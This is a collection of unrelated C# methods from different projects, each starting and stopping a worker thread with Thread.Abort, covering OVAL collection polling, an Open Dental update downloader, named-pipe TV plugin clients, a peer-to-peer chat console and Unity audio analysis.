public virtual String SendCollectSynchronous( string targetAddres, Credential credentials, string ovalDefinitions, out string collectRequestID, int poolingIntervalInSecs = 30, string externalVariables = null, Dictionary<string, string> targetParameters = null) { var sendCollectResult = TryToRequestCollect(targetAddres, credentials, ovalDefinitions, externalVariables, targetParameters); collectRequestID = sendCollectResult.First().Value; Console.WriteLine("Collect was requested successfully."); Console.WriteLine("Request Collect ID generated by modSIC: {0}", collectRequestID); Console.WriteLine("Collecting data on {0}...", targetAddres); var progressThread = new System.Threading.Thread(new System.Threading.ThreadStart(this.Progress)); progressThread.Start(); try { string lastReschedStr = ""; while (true) { if (poolingIntervalInSecs > 0) System.Threading.Thread.Sleep(poolingIntervalInSecs * 1000); var statusString = this.IsCollectInExecution(collectRequestID); if (string.IsNullOrEmpty(statusString)) { progressThread.Abort(); Console.WriteLine("The collect has finished."); Console.WriteLine("Trying to get Oval Results..."); progressThread = new Thread(new ThreadStart(this.Progress)); progressThread.Start(); var retVal = _modSicConnection.GetOvalResults(collectRequestID); progressThread.Abort(); //Console.Write("\b"); return retVal; } var reschedString = "(" + CollectRequestStatus.Open.ToString() + ") "; var foundResched = statusString.IndexOf(reschedString); if (foundResched >= 0) { statusString = statusString.Substring(foundResched + reschedString.Length); if (statusString != lastReschedStr) { Console.WriteLine("Rescheduled. " + statusString); lastReschedStr = statusString; } } else { if (!String.IsNullOrEmpty(lastReschedStr)) { Console.WriteLine("Collect resumed."); } lastReschedStr = ""; } } } finally { progressThread.Abort(); } }
public void FindSender_GivenThereIsASenderButNoSecondReceiver_ReturnsNull() { // Arrange const int message = 3; var thread = new Thread(() => { splittingPipe.Inlet.Send(message); }); thread.Start(); Thread.Sleep(500); // Act var sender = splittingPipe.FindSender(splittingPipe.LeftOutlet); // Assert sender.Should().BeNull(); thread.Abort(); }
/// <summary>destinationPath includes filename (Setup.exe). destinationPath2 will create a second copy at the specified path/filename, or it will be skipped if null or empty.</summary> public static void DownloadInstallPatchFromURI(string downloadUri,string destinationPath,bool runSetupAfterDownload,bool showShutdownWindow,string destinationPath2){ string[] dblist=PrefC.GetString(PrefName.UpdateMultipleDatabases).Split(new string[] {","},StringSplitOptions.RemoveEmptyEntries); if(showShutdownWindow) { //Even if updating multiple databases, extra shutdown signals are not needed. FormShutdown FormSD=new FormShutdown(); FormSD.IsUpdate=true; FormSD.ShowDialog(); if(FormSD.DialogResult==DialogResult.OK) { //turn off signal reception for 5 seconds so this workstation will not shut down. FormOpenDental.signalLastRefreshed=MiscData.GetNowDateTime().AddSeconds(5); Signalod sig=new Signalod(); sig.ITypes=((int)InvalidType.ShutDownNow).ToString(); sig.SigType=SignalType.Invalid; Signalods.Insert(sig); Computers.ClearAllHeartBeats(Environment.MachineName);//always assume success //SecurityLogs.MakeLogEntry(Permissions.Setup,0,"Shutdown all workstations.");//can't do this because sometimes no user. } //continue on even if user clicked cancel //no other workstation will be able to start up until this value is reset. Prefs.UpdateString(PrefName.UpdateInProgressOnComputerName,Environment.MachineName); } MiscData.LockWorkstationsForDbs(dblist);//lock workstations for other db's. File.Delete(destinationPath); WebRequest wr=WebRequest.Create(downloadUri); WebResponse webResp=null; try{ webResp=wr.GetResponse(); } catch(Exception ex){ CodeBase.MsgBoxCopyPaste msgbox=new MsgBoxCopyPaste(ex.Message+"\r\nUri: "+downloadUri); msgbox.ShowDialog(); MiscData.UnlockWorkstationsForDbs(dblist);//unlock workstations since nothing was actually done. return; } int fileSize=(int)webResp.ContentLength/1024; FormProgress FormP=new FormProgress(); //start the thread that will perform the download System.Threading.ThreadStart downloadDelegate= delegate { DownloadInstallPatchWorker(downloadUri,destinationPath,ref FormP); }; Thread workerThread=new System.Threading.Thread(downloadDelegate); workerThread.Start(); //display the progress dialog to the user: FormP.MaxVal=(double)fileSize/1024; FormP.NumberMultiplication=100; FormP.DisplayText="?currentVal MB of ?maxVal MB copied"; FormP.NumberFormat="F"; FormP.ShowDialog(); if(FormP.DialogResult==DialogResult.Cancel) { workerThread.Abort(); MiscData.UnlockWorkstationsForDbs(dblist);//unlock workstations since nothing was actually done. return; } //copy to second destination directory if(destinationPath2!=null && destinationPath2!=""){ if(File.Exists(destinationPath2)){ File.Delete(destinationPath2); } File.Copy(destinationPath,destinationPath2); } //copy the Setup.exe to the AtoZ folders for the other db's. List<string> atozNameList=MiscData.GetAtoZforDb(dblist); for(int i=0;i<atozNameList.Count;i++) { if(destinationPath==Path.Combine(atozNameList[i],"Setup.exe")) {//if they are sharing an AtoZ folder. continue; } if(Directory.Exists(atozNameList[i])) { File.Copy(destinationPath,//copy the Setup.exe that was just downloaded to this AtoZ folder Path.Combine(atozNameList[i],"Setup.exe"),//to the other atozFolder true);//overwrite } } if(!runSetupAfterDownload) { return; } string msg=Lan.g("FormUpdate","Download succeeded. Setup program will now begin. When done, restart the program on this computer, then on the other computers."); if(dblist.Length > 0){ msg="Download succeeded. Setup file probably copied to other AtoZ folders as well. Setup program will now begin. When done, restart the program for each database on this computer, then on the other computers."; } if(MessageBox.Show(msg,"",MessageBoxButtons.OKCancel) !=DialogResult.OK){ //Clicking cancel gives the user a chance to avoid running the setup program, Prefs.UpdateString(PrefName.UpdateInProgressOnComputerName,"");//unlock workstations, since nothing was actually done. return; } #region Stop OpenDent Services //If the update has been initiated from the designated update server then try and stop all "OpenDent..." services. //They will be automatically restarted once Open Dental has successfully upgraded. if(PrefC.GetString(PrefName.WebServiceServerName)!="" && ODEnvironment.IdIsThisComputer(PrefC.GetString(PrefName.WebServiceServerName))) { List<ServiceController> listServices=ODEnvironment.GetAllOpenDentServices(); StringBuilder strBuilder=new StringBuilder(); if(listServices.Count>0) { FormAlertSimple FormAS=new FormAlertSimple(Lan.g("FormUpdate","Stopping services...")); FormAS.Show(); Application.DoEvents();//Allows the form to show up on top of FormUpdate right away. //Loop through all Open Dental services and stop them if they have not stopped or are not pending a stop so that their binaries can be updated. for(int i=0;i<listServices.Count;i++) { if(listServices[i].Status==ServiceControllerStatus.Stopped || listServices[i].Status==ServiceControllerStatus.StopPending) { continue;//Already stopped. Calling Stop again will guarantee an exception is thrown. Do not try calling Stop on a stopped service. } try { listServices[i].Stop(); listServices[i].WaitForStatus(ServiceControllerStatus.Stopped,new TimeSpan(0,0,7)); } catch { //An InvalidOperationException will get thrown if the service could not stop. E.g. the user is not running Open Dental as an administrator. strBuilder.AppendLine(listServices[i].DisplayName); } } FormAS.Close(); //Notify the user to go manually stop the services that could not automatically stop. if(strBuilder.ToString()!="") { MsgBoxCopyPaste msgBCP=new MsgBoxCopyPaste(Lan.g("FormUpdate","The following services could not be stopped. You need to manually stop them before continuing.") +"\r\n"+strBuilder.ToString()); msgBCP.ShowDialog(); } } } #endregion try { Process.Start(destinationPath); Application.Exit(); } catch{ Prefs.UpdateString(PrefName.UpdateInProgressOnComputerName,"");//unlock workstations, since nothing was actually done. MsgBox.Show(FormP,"Could not launch setup"); } }
private void RunDeadlockTest(Func<Task> asyncOperation) { Assert.Null(SynchronizationContext.Current); var dispatcherThread = new Thread(Dispatcher.Run) { Name = "Dispatcher" }; dispatcherThread.Start(); Dispatcher dispatcher = null; // Wait for dispatcher to start up while ((dispatcher = Dispatcher.FromThread(dispatcherThread)) == null) { Thread.Sleep(TimeSpan.FromMilliseconds(15)); } try { Assert.Equal( DispatcherOperationStatus.Completed, dispatcher.InvokeAsync( () => Assert.True(asyncOperation().Wait(TimeSpan.FromMinutes(1)))) .Wait(TimeSpan.FromMinutes(1.5))); } catch (TaskCanceledException) { // Sometimes thrown by the dispatcher, doesn't indicate a deadlock } finally { // Do our best to cleanup, but don't fail the test if not possible to do so in the allocated time dispatcher.BeginInvokeShutdown(DispatcherPriority.Send); var startShutdownTime = DateTime.Now; while (!dispatcher.HasShutdownFinished && DateTime.Now - startShutdownTime < TimeSpan.FromSeconds(10)) { Thread.Sleep(TimeSpan.FromMilliseconds(100)); } Task.Run(() => dispatcherThread.Abort()).Wait(TimeSpan.FromSeconds(10)); } }
private void btnSearch_Click(object sender, EventArgs e) { if (txtSearch.Text == "") { treeSystem.BeginUpdate(); treeSystem.Nodes.Clear(); treeSystem.Nodes.Add(Create_Nodes(accion.Root)); treeSystem.Nodes[0].Expand(); treeSystem.EndUpdate(); return; } Thread waiting = new System.Threading.Thread(ThreadEspera); sFolder resul = new sFolder(); resul.files = new List<sFile>(); resul.folders = new List<sFolder>(); #region Search type if (txtSearch.Text == "<Ani>") resul = accion.Search_File(Format.Animation); else if (txtSearch.Text == "<Cell>") resul = accion.Search_File(Format.Cell); else if (txtSearch.Text == "<Map>") resul = accion.Search_File(Format.Map); else if (txtSearch.Text == "<Image>") resul = accion.Search_File(Format.Tile); else if (txtSearch.Text == "<FullImage>") resul = accion.Search_File(Format.FullImage); else if (txtSearch.Text == "<Palette>") resul = accion.Search_File(Format.Palette); else if (txtSearch.Text == "<Text>") resul = accion.Search_File(Format.Text); else if (txtSearch.Text == "<Video>") resul = accion.Search_File(Format.Video); else if (txtSearch.Text == "<Sound>") resul = accion.Search_File(Format.Sound); else if (txtSearch.Text == "<Font>") resul = accion.Search_File(Format.Font); else if (txtSearch.Text == "<Compress>") resul = accion.Search_File(Format.Compressed); else if (txtSearch.Text == "<Script>") resul = accion.Search_File(Format.Script); else if (txtSearch.Text == "<Pack>") resul = accion.Search_File(Format.Pack); else if (txtSearch.Text == "<Texture>") resul = accion.Search_File(Format.Texture); else if (txtSearch.Text == "<3DModel>") resul = accion.Search_File(Format.Model3D); else if (txtSearch.Text == "<Unknown>") resul = accion.Search_File(Format.Unknown); else if (txtSearch.Text.StartsWith("Length: ") && txtSearch.Text.Length > 8 && txtSearch.Text.Length < 17) resul = accion.Search_FileLength(Convert.ToInt32(txtSearch.Text.Substring(7))); else if (txtSearch.Text.StartsWith("ID: ") && txtSearch.Text.Length > 4 && txtSearch.Text.Length < 13) { sFile searchedFile = accion.Search_File(Convert.ToInt32(txtSearch.Text.Substring(4), 16)); if (searchedFile.name is String) resul.files.Add(searchedFile); } else if (txtSearch.Text.StartsWith("Offset: ") && txtSearch.Text.Length > 8 && txtSearch.Text.Length < 17) resul = accion.Search_FileOffset(Convert.ToInt32(txtSearch.Text.Substring(8), 16)); else if (txtSearch.Text.StartsWith("Header: ") && txtSearch.Text.Length > 8) { if (!isMono) waiting.Start("S07"); List<byte> search = new List<byte>(); for (int i = 8; i + 1 < txtSearch.Text.Length; i += 2) search.Add(Convert.ToByte(txtSearch.Text.Substring(i, 2), 16)); if (search.Count != 0) resul = accion.Search_File(search.ToArray()); } else resul = accion.Search_File(txtSearch.Text); #endregion resul.id = (ushort)accion.LastFolderID; accion.LastFolderID++; if (resul.folders is List<sFolder>) { for (int i = 0; i < resul.folders.Count; i++) { sFolder newFolder = resul.folders[i]; newFolder.id = resul.id; resul.folders[i] = newFolder; } } TreeNode nodo = new TreeNode(Tools.Helper.GetTranslation("Sistema", "S2D")); FolderToNode(resul, ref nodo); treeSystem.BeginUpdate(); treeSystem.Nodes.Clear(); nodo.Name = Tools.Helper.GetTranslation("Sistema", "S2D"); treeSystem.Nodes.Add(nodo); treeSystem.ExpandAll(); treeSystem.EndUpdate(); if (!isMono && waiting.ThreadState == ThreadState.Running) waiting.Abort(); }
/// <summary>destinationPath includes filename (Setup.exe). destinationPath2 will create a second copy at the specified path/filename, or it will be skipped if null or empty.</summary> public static void DownloadInstallPatchFromURI(string downloadUri,string destinationPath,bool runSetupAfterDownload,bool showShutdownWindow,string destinationPath2) { string[] dblist=PrefC.GetString(PrefName.UpdateMultipleDatabases).Split(new string[] {","},StringSplitOptions.RemoveEmptyEntries); if(showShutdownWindow) { //Even if updating multiple databases, extra shutdown signals are not needed. FormShutdown FormSD=new FormShutdown(); FormSD.IsUpdate=true; FormSD.ShowDialog(); if(FormSD.DialogResult==DialogResult.OK) { //turn off signal reception for 5 seconds so this workstation will not shut down. FormOpenDental.signalLastRefreshed=MiscData.GetNowDateTime().AddSeconds(5); Signalod sig=new Signalod(); sig.ITypes=((int)InvalidType.ShutDownNow).ToString(); sig.SigType=SignalType.Invalid; Signalods.Insert(sig); Computers.ClearAllHeartBeats(Environment.MachineName);//always assume success //SecurityLogs.MakeLogEntry(Permissions.Setup,0,"Shutdown all workstations.");//can't do this because sometimes no user. } //continue on even if user clicked cancel //no other workstation will be able to start up until this value is reset. Prefs.UpdateString(PrefName.UpdateInProgressOnComputerName,Environment.MachineName); } MiscData.LockWorkstationsForDbs(dblist);//lock workstations for other db's. File.Delete(destinationPath); WebRequest wr=WebRequest.Create(downloadUri); WebResponse webResp=null; try{ webResp=wr.GetResponse(); } catch(Exception ex){ CodeBase.MsgBoxCopyPaste msgbox=new MsgBoxCopyPaste(ex.Message+"\r\nUri: "+downloadUri); msgbox.ShowDialog(); MiscData.UnlockWorkstationsForDbs(dblist);//unlock workstations since nothing was actually done. return; } int fileSize=(int)webResp.ContentLength/1024; FormProgress FormP=new FormProgress(); //start the thread that will perform the download System.Threading.ThreadStart downloadDelegate= delegate { DownloadInstallPatchWorker(downloadUri,destinationPath,ref FormP); }; Thread workerThread=new System.Threading.Thread(downloadDelegate); workerThread.Start(); //display the progress dialog to the user: FormP.MaxVal=(double)fileSize/1024; FormP.NumberMultiplication=100; FormP.DisplayText="?currentVal MB of ?maxVal MB copied"; FormP.NumberFormat="F"; FormP.ShowDialog(); if(FormP.DialogResult==DialogResult.Cancel) { workerThread.Abort(); MiscData.UnlockWorkstationsForDbs(dblist);//unlock workstations since nothing was actually done. return; } //copy to second destination directory if(destinationPath2!=null && destinationPath2!=""){ if(File.Exists(destinationPath2)){ File.Delete(destinationPath2); } File.Copy(destinationPath,destinationPath2); } //copy the Setup.exe to the AtoZ folders for the other db's. List<string> atozNameList=MiscData.GetAtoZforDb(dblist); for(int i=0;i<atozNameList.Count;i++) { if(destinationPath==Path.Combine(atozNameList[i],"Setup.exe")) {//if they are sharing an AtoZ folder. continue; } if(Directory.Exists(atozNameList[i])) { File.Copy(destinationPath,//copy the Setup.exe that was just downloaded to this AtoZ folder Path.Combine(atozNameList[i],"Setup.exe"),//to the other atozFolder true);//overwrite } } if(!runSetupAfterDownload) { return; } string msg=Lan.g("FormUpdate","Download succeeded. Setup program will now begin. When done, restart the program on this computer, then on the other computers."); if(dblist.Length > 0){ msg="Download succeeded. Setup file probably copied to other AtoZ folders as well. Setup program will now begin. When done, restart the program for each database on this computer, then on the other computers."; } if(MessageBox.Show(msg,"",MessageBoxButtons.OKCancel) !=DialogResult.OK){ //Clicking cancel gives the user a chance to avoid running the setup program, Prefs.UpdateString(PrefName.UpdateInProgressOnComputerName,"");//unlock workstations, since nothing was actually done. return; } try{ Process.Start(destinationPath); Application.Exit(); } catch{ Prefs.UpdateString(PrefName.UpdateInProgressOnComputerName,"");//unlock workstations, since nothing was actually done. MsgBox.Show(FormP,"Could not launch setup"); } }
private void ClientThreadRoutineRunSingleCommand() { ReceivedMessage = "Error in ClientThreadRoutineRunSingleCommand"; try { Log.Debug("ClientThreadRoutineRunSingleCommand: Connecting to server " + hostName); Log.Debug("pipe=" + pipeName); Log.Debug("hostname=" + hostName); pipeClient = new NamedPipeClientStream(hostName, pipeName, PipeDirection.InOut, PipeOptions.None, TokenImpersonationLevel.Impersonation); pipeClient.Connect(); StreamString ss = new StreamString(pipeClient); //Log.Debug("1 ClientMessage=" + ClientMessage); //send clientmessage to server ss.WriteString(ClientMessage); //pipeClient.ReadTimeout = 5000; //timeout not supported for async streams PipeRunThreadTimeOutCounter = new Thread(ClientTimeOutError); PipeRunThreadTimeOutCounter.Start(); ReceivedMessage = ss.ReadString(); PipeRunThreadTimeOutCounter.Abort(); Log.Debug("ClientThreadRoutineRunSingleCommand: ***** SERVERMESSAGE=" + ReceivedMessage); Log.Debug("ClientThreadRoutineRunSingleCommand: closing client pipe - command executed"); } catch (Exception exc) { Log.Debug("ClientThreadRoutineRunSingleCommand: ClientThread() exception=" + exc.Message); } if (pipeClient != null) { pipeClient.Close(); //pipeClient = null; } Log.Debug("ClientThreadRoutineRunSingleCommand: Pipe Client Thread Completed"); //OldConnect = false; return; }
private void ClientRoutineRunEpg() { bool success = false; for (int i = 1; i <= 3; i++) //three retries for sending command { TIMEOUT = false; try { Log.Debug("ClientRoutineRunEpg: Connecting to server " + hostName); Log.Debug("pipe=" + pipeName); Log.Debug("hostname=" + hostName); pipeClient = new NamedPipeClientStream(hostName, pipeName, PipeDirection.InOut, PipeOptions.None, TokenImpersonationLevel.Impersonation); pipeClient.Connect(); StreamString ss = new StreamString(pipeClient); //send clientmessage to server Log.Debug("Writing command " + ClientMessage); ss.WriteString(ClientMessage); ReceivedMessage = "ClientThreadRoutineRunEpg Error"; while ((ReceivedMessage.StartsWith(PipeCommands.Ready.ToString()) == false) && (ReceivedMessage.StartsWith(PipeCommands.Error.ToString()) == false)) { PipeRunThreadTimeOutCounter = new Thread(ClientTimeOutError); PipeRunThreadTimeOutCounter.Start(); ReceivedMessage = ss.ReadString(); PipeRunThreadTimeOutCounter.Abort(); //evaluate response from server string Processedmessage = string.Empty; if (ReceivedMessage.StartsWith(PipeCommands.Ready.ToString()) == true) { Processedmessage = ReceivedMessage.Substring(PipeCommands.Ready.ToString().Length); } else if (ReceivedMessage.StartsWith(PipeCommands.Error.ToString()) == true) { Processedmessage = ReceivedMessage.Substring(PipeCommands.Error.ToString().Length); } else { Processedmessage = ReceivedMessage; } Log.Debug("***** SERVERMESSAGE=" + ReceivedMessage); labelmessage(Processedmessage, PipeCommands.StartEpg); //myTvWishes.StatusLabel(Processedmessage); Log.Debug("***** SERVERMESSAGE=" + ReceivedMessage); } Log.Debug("closing client pipe - command executed"); if (pipeClient != null) { pipeClient.Close(); if (pipeClient != null) pipeClient = null; } success = true; break; } catch (Exception exc) { Log.Debug("Sending tv server command failed in iteration i=" + i.ToString()); Log.Debug("ClientThread() exception=" + exc.Message); Thread.Sleep(2000); if (pipeClient != null) { pipeClient.Close(); if (pipeClient != null) pipeClient = null; } if (TIMEOUT) { TIMEOUT = false; break; } } } if (success == false) { //MessageBox.Show(lng.TranslateString("TvWishList MediaPortal Plugin Does Not Match To TvWishList TV Server Plugin", 1206).Replace("<br>", "\n")); MessageBox.Show(lng.TranslateString("TvWishList MediaPortal Plugin Does Not Match To TvWishList TV Server Plugin", 1206).Replace("<br>", Environment.NewLine),"Error"); // myTvWishes.MyMessageBox(4305, 1206); //TvWishList MediaPortal Plugin Does Not Match To TvWishList TV Server Plugin } Log.Debug("ClientThreadRoutineRunEpg() Thread Completed"); //OldConnect = false; }
public static void rodar(Life life) { System.Console.WriteLine("\nMeu nome é: " + life.Name); string opcao = ""; if (life.Name == null) life.Name = "SEM_NOME"; PeerNetwork com = new PeerNetwork(life); //cria Thread que fica verificando se os contatos estão online ou offline. com.VerifyContacts(); thrServidor = new Thread(new ThreadStart(com.MakeAvailable)); System.Console.WriteLine("Voce esta OnLine: " +life.Name); thrServidor.IsBackground = true; thrServidor.Start(); SovereChat chat = new SovereChat(life); Thread thrServidor2 = new Thread(new ThreadStart(chat.Listen)); thrServidor2.IsBackground = true; thrServidor2.Start(); Thread thrServidor4 = new Thread(new ThreadStart(com.ContactListener)); thrServidor4.IsBackground = true; thrServidor4.Start(); //return share files list. Thread thrServidor5 = new Thread(new ThreadStart(com.FilesNameListener)); thrServidor5.IsBackground = true; thrServidor5.Start(); //return file. Thread thrServidor6 = new Thread(new ThreadStart(com.FileListener)); thrServidor6.IsBackground = true; thrServidor6.Start(); while(opcao.ToUpper() != "S") { // My Funcitions System.Console.WriteLine("\n\n " + life.Name + " What do you do ?"); System.Console.WriteLine("N. Change Name"); System.Console.WriteLine("L. Nickname List"); System.Console.WriteLine("T. See Photo"); System.Console.WriteLine("F. Change Photo"); System.Console.WriteLine("B. Change Default Browser's Path"); System.Console.WriteLine("E. Sharing File List"); System.Console.WriteLine("C. Connect"); // On my contacts System.Console.WriteLine("A. Add contact/change nickname"); System.Console.WriteLine("R. Remove Nickname"); System.Console.WriteLine("D. Change trust degree"); System.Console.WriteLine("J. Get Picture"); System.Console.WriteLine("K. Get File"); System.Console.WriteLine("P. FindIpAddress Contact"); System.Console.WriteLine("Z . Navegation on Contacts"); // System.Console.WriteLine("M. Start Chat"); only for GUI System.Console.WriteLine("S. Sair"); opcao = System.Console.ReadLine(); switch (opcao.ToUpper()) { case "A": { System.Console.Write("Digite o Apelido do seu novo Contato: "); string nickname = System.Console.ReadLine(); System.Console.Write("Digite o IP de " + nickname + ": "); string ip = System.Console.ReadLine(); life.AddContact(nickname,ip); break; } case "D": { System.Console.Write("Type the NickName of your contact: "); string nick = System.Console.ReadLine(); Contact contact = life.SearchContact(nick); if(contact != null) { while(true) { try { System.Console.Write("\nType the new trust degree ( 0 to 100 ): "); int trust = int.Parse(System.Console.ReadLine()); if (trust >= 0 && trust <= 100) contact.Trust = trust; else throw(new System.Exception("")); break; } catch { System.Console.WriteLine("Invalid option, try again!"); } } } else { System.Console.WriteLine("Invalid NickName!"); } break; } case "F": { System.Console.WriteLine("Enter path of pícture: "); life.PathToPhoto = System.Console.ReadLine(); break; } case "T": { Photo.ShowPicture(life); break; } case "J": { System.Console.WriteLine("View Picture From: "); string nickname = System.Console.ReadLine(); com.PictureRequest(nickname, life); break; } case "C": { System.Console.WriteLine("Enter the nickname: "); string nick = System.Console.ReadLine(); Contact contact = life.SearchContact(nick); System.Console.WriteLine("Your buddy at [" + contact.IP + "] is " + PeerNetwork.RetrieveStatus(contact)); break; } case "N": { System.Console.WriteLine("Enter your real name: "); life.Name = System.Console.ReadLine(); System.Console.Write("Your name is now : : "); System.Console.WriteLine(life.Name); break; } case "L": { System.Console.WriteLine("Yuors Contacts so:"); IDictionaryEnumerator enumerator = life.Contacts.GetEnumerator(); while (enumerator.MoveNext()) { System.Console.Write(" Apelido: "); System.Console.Write(enumerator.Key); System.Console.Write(" IP: "); System.Console.Write(((Contact)enumerator.Value).IP); System.Console.Write(" Trust degree:"); System.Console.Write(((Contact)enumerator.Value).Trust.ToString() + "%"); System.Console.Write(" Status: "); System.Console.WriteLine(PeerNetwork.RetrieveStatus((Contact)enumerator.Value)); } System.Console.WriteLine("--- FIM DA LISTA ---\n\n"); break; } // This is only available on GUI case "M": { //ChatWindow.Factory(life); System.Console.WriteLine("Enter the Nickname of your contact:"); string nome = System.Console.ReadLine(); string ip = life.FindIpAddress(nome); if (ip == null ) { System.Console.WriteLine("Apelido não existe!!!"); } else { SovereChat message = new SovereChat(ip,life.Name); } break; } case "P": { System.Console.WriteLine("Digite o Apelido:"); string nome = System.Console.ReadLine(); string ip = life.FindIpAddress(nome); System.Console.WriteLine("-------->>Apelido : {0} IP: {1} ", nome,ip); break; } case "R": { System.Console.Write("Digite o Apelido que deseja remover: "); string nickname = System.Console.ReadLine(); life.RemoveContact(nickname); System.Console.Write(nickname + " foi removido da sua lista."); break; } case "B": { System.Console.Write("Enter the new default browser's path: "); string browserPath = System.Console.ReadLine(); life.BrowserPath = browserPath; System.Console.Write(browserPath + " is your new browser's path."); break; } case "Z": { // Passagem de 1 para o primeiro nível de trusting por ele ser vc mesmo o nível de confiança é total Navigator.ConsoleNavigator(">",life.Contacts,100); break; } case "E": { life.RetrieveFiles(); System.Console.WriteLine("Your sharing files are:"); IDictionaryEnumerator enumerator = life.Files.GetEnumerator(); while (enumerator.MoveNext()) { System.Console.Write(" Name: "); System.Console.WriteLine(enumerator.Key); } System.Console.WriteLine("--- END OF FILES LIST ---\n\n"); break; } case "K": { System.Console.WriteLine("Enter contact's nickname to get files:"); string nickname = System.Console.ReadLine(); Hashtable contactFiles = PeerNetwork.GetRemoteFilesNames(life.FindIpAddress(nickname)); System.Console.WriteLine("{0}'s sharing files are:",nickname); IDictionaryEnumerator enumerator = contactFiles.GetEnumerator(); while (enumerator.MoveNext()) System.Console.WriteLine(" Name: " + enumerator.Key); System.Console.WriteLine("--- END OF FILES LIST ---\n\n"); System.Console.WriteLine("Which file would you like to get? "); string fileName = System.Console.ReadLine(); System.Console.WriteLine("Which name would you like to save it?"); string nameToSave = System.Console.ReadLine(); PeerNetwork.GetRemoteFiles(life.FindIpAddress(nickname),fileName, nameToSave, life.FilesPath); System.Console.WriteLine("Sucessfull download of {0} executed!", fileName); break; } default: { if (thrServidor != null) { if (thrServidor.IsAlive) { //thrServidor.Interrupt(); thrServidor.Abort(); } } break; } } } }
void Sistema_Load(object sender, EventArgs e) { string[] filesToRead = new string[1]; if (Environment.GetCommandLineArgs().Length == 1) { OpenFileDialog o = new OpenFileDialog(); o.CheckFileExists = true; o.Multiselect = true; if (o.ShowDialog() != System.Windows.Forms.DialogResult.OK) { Application.Exit(); return; } filesToRead = o.FileNames; o.Dispose(); } else if (Environment.GetCommandLineArgs().Length == 2) { if (Environment.GetCommandLineArgs()[1] == "-fld") { FolderBrowserDialog o = new FolderBrowserDialog(); o.ShowNewFolderButton = false; if (o.ShowDialog() != System.Windows.Forms.DialogResult.OK) { Application.Exit(); return; } filesToRead[0] = o.SelectedPath; o.Dispose(); } else filesToRead[0] = Environment.GetCommandLineArgs()[1]; } else if (Environment.GetCommandLineArgs().Length >= 3) { filesToRead = new String[Environment.GetCommandLineArgs().Length - 1]; Array.Copy(Environment.GetCommandLineArgs(), 1, filesToRead, 0, filesToRead.Length); } Thread espera = new System.Threading.Thread(ThreadEspera); if (!isMono) espera.Start("S02"); if (filesToRead.Length == 1 && (Path.GetFileName(filesToRead[0]).ToUpper().EndsWith(".NDS") || Path.GetFileName(filesToRead[0]).ToUpper().EndsWith(".SRL"))) ReadGame(filesToRead[0]); else if (filesToRead.Length == 1 && Directory.Exists(filesToRead[0])) ReadFolder(filesToRead[0]); else ReadFiles(filesToRead); if (!isMono) { espera.Abort(); debug = new Debug(); debug.FormClosing += new FormClosingEventHandler(debug_FormClosing); debug.Add_Text(sb.ToString()); } sb.Length = 0; romInfo.FormClosing += new FormClosingEventHandler(romInfo_FormClosing); LoadPreferences(); this.Show(); if (!isMono) debug.ShowInTaskbar = true; romInfo.ShowInTaskbar = true; this.Activate(); }
/// <summary> /// Initializes the static class. /// Loads the music, analyzes the music, stores useful information about it. /// THIS FUNCTION WILL ANALYZE MUSIC UNLESS IT FINDS A CACHE FILE! /// (analysis takes ages!) /// </summary> /// <param name='pathToMusicFile'> /// Path to music file. /// </param> public static IEnumerator initMusic(string pathToMusicFile) { // Set flags songLoaded = false; tagDataSet = false; abortSoundProcessing = false; isWritingCacheFile = false; loadingProgress = 0; #if UNITY_WEBPLAYER // For the WebPlayer: Just get everything from WebPlayerRytData.cs peaks = WebPlayerRytData.getPeaks(Game.Song); loudPartTimeStamps = WebPlayerRytData.getLoudFlags(Game.Song); variationFactor = WebPlayerRytData.getVariationFactor(Game.Song); songLoaded = true; currentlyLoadedSong = "xXBACKgroundMUSICXx"; yield break; #else // For Tutorial: Just get everything from TutorialRytData.cs if(Game.GameMode == Game.Mode.Tutorial) { peaks = TutorialRytData.getPeaks(); loudPartTimeStamps = TutorialRytData.getLoudFlags(); variationFactor = TutorialRytData.getVariationFactor(); audioLength = 213.883f; frequency = 44100; channels = 2; songLoaded = true; currentlyLoadedSong = "xXBACKgroundMUSICXx"; tagDataSet = true; yield break; } // Initialize file handle float start = Time.realtimeSinceStartup; if(freader!=null) { freader.close(); freader = null; } freader = new FileReader (pathToMusicFile); FileReader.ReadStatus success = freader.read (); // Doesn't really "read" (unless it's a WAV file) while (freader.isReading()) { yield return null; } // Succeeded reading? (Which means it found the file when we're just streaming) if (success != FileReader.ReadStatus.SUCCESS) { yield break; } // Set useful information, like AudioClip,length,etc.. frequency = freader.getFrequency (); channels = freader.getChannels (); audioLength = freader.getAudioLengthInSecs (); currentlyLoadedSong = pathToMusicFile; artist = freader.getArtist(); title = freader.getTitle(); tagDataSet = true; start = Time.realtimeSinceStartup; // Check if we have a cache file of the analyzed data for the current song string cacheFile = FileWriter.convertToCacheFileName (pathToMusicFile); System.IO.FileInfo cachedRytData = new System.IO.FileInfo (cacheFile); if (cachedRytData.Exists) { // We have a cache file, so we just read the peaks etc from there. FileReader rytFile = new FileReader (cacheFile); success = rytFile.read (); while (rytFile.isReading()) { yield return 0; } if (success != FileReader.ReadStatus.SUCCESS) { yield break; } peaks = rytFile.getPeaks (); loudPartTimeStamps = rytFile.getLoudnessData (); variationFactor = rytFile.getVariationFactor(); rytFile.close (); rytFile = null; } else { // We have no cache file, so do the actual analysis! soundProcessingThread = new System.Threading.Thread(() => SoundProcessor.analyse(freader)); soundProcessingThread.Start(); while(SoundProcessor.isAnalyzing) { loadingProgress = SoundProcessor.loadingProgress; if(abortSoundProcessing) { // ABORT: Cancel processing thread, release file handle & collect all dat garbage! SoundProcessor.abort(); soundProcessingThread.Join(); soundProcessingThread.Abort(); soundProcessingThread = null; SoundProcessor.reset(); freader.close(); freader = null; System.GC.Collect(); yield break; } yield return null; } isWritingCacheFile = true; SoundProcessor.reset(); soundProcessingThread.Join(); soundProcessingThread.Abort(); soundProcessingThread = null; peaks = SoundProcessor.getPeaks (); loudPartTimeStamps = SoundProcessor.getVolumeLevels (); variationFactor = SoundProcessor.getVariationFactor(); FileWriter.writeAnalysisData (pathToMusicFile, peaks, loudPartTimeStamps, variationFactor); isWritingCacheFile = false; } if(Application.platform == RuntimePlatform.WindowsPlayer || Application.platform == RuntimePlatform.WindowsEditor) { // Now that we have analyzed the song, we need to reset & initialize everything for playback freader.reset (); audioBufferSize = (int)(channels * Mathf.Ceil (audioLength) * frequency); audioClip = AudioClip.Create ("main_music1", audioBufferSize, channels, frequency, false, false); // Fill audio buffer with the first few samples initAudioBuffer (); } closeMusicStream(); Debug.Log ("Song loaded in: " + (Time.realtimeSinceStartup - start) + " seconds"); songLoaded = true; // Done a lot of work there, better clean up 